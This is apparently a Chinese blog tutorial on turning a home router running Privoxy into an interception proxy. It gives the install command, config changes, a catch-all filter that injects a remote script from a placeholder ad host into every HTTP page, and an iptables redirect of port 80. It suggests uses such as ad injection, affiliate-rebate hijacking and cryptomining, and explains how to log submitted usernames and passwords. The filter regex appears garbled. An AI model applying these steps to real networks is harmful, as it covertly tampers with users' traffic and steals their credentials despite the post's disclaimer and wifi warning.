看了幾篇privoxy的文章,感覺講的都不詳細,在此整理一遍。 註:本文下麵的內容僅討論思路,作為技術交流之用,請勿用作非法途徑. Privoxy是一款帶過濾功能的代理伺服器,針對HTTP、HTTPS協議。通過Privoxy的過濾功能,用戶可以保護隱私、對網頁內容進行過濾、管理cookies,以及攔 ...
看了幾篇privoxy的文章,感覺講的都不詳細,在此整理一遍。
註:本文下麵的內容僅討論思路,作為技術交流之用,請勿用作非法途徑.
Privoxy是一款帶過濾功能的代理伺服器,針對HTTP、HTTPS協議。通過Privoxy的過濾功能,用戶可以保護隱私、對網頁內容進行過濾、管理cookies,以及攔阻各種廣告等。Privoxy可以用作單機,也可以應用到多用戶的網路。
Privoxy基於Internet Junkbuster,按照GNU General Public License進行發佈。可以在Linux、Windows、Mac OS X、AmigaOS、BeOS,以及各種Unix上運行。
----來自百度百科
privoxy功能很強大,可以用來過濾廣告,那麼我們也可以用它來插入廣告,甚至淘寶返利....
先上圖..
環境:免費的K3刷官改版.
刷完系統後 安裝 privoxy
命令:
opkg install privoxy
然後編輯 config 文件
vi /tmp/media/nand/opt/etc/privoxy/config
修改listen-address 為如下形式
listen-address 192.168.2.1:8118
accept-intercepted-requests 1
192.168.2.1 為 路由器IP 8118為privoxy的預設監聽埠
action 文件
vi /tmp/media/nand/opt/etc/privoxy/user.action
加入以下內容 代表攔截所有網址
+filter{ad}}
.*
filter文件
vi /tmp/media/nand/opt/etc/privoxy/user.filter
FILTER: ad Add ad
s||http://www.abc.com/ad.js"> $0|g
很簡單的正則,表示在body標簽後插入一段js, 這個js裡面就控制了想要插入的廣告內容.
這裡只分析一下原理,就不放示例代碼了... 相信各位大神,都會的....
最後一步 把80埠的數據都轉發到8118去,即privoxy監聽的埠
iptables -t nat -A PREROUTING -s 0.0.0.0/0.0.0.0 -p tcp --dport 80 -j REDIRECT --to-ports 8118
最後的效果就是第一張圖...所以的http網站都被插入了一段js 用來執行代碼,甚至用來挖礦...
privoxy功能不只是修改網頁內容,還可以記錄訪問記錄..
甚至可以記錄下網頁提交的表單,這就意味著, 用戶名和密碼 也在其中..
修改config中的debug級別即可...(預設的日誌只記錄請求的url.)
至於privoxy還能幹嘛,大家自己發揮吧...
所以,,這告訴我們一個道理,不要隨便連接陌生wifi...要連接也要儘量訪問https網站..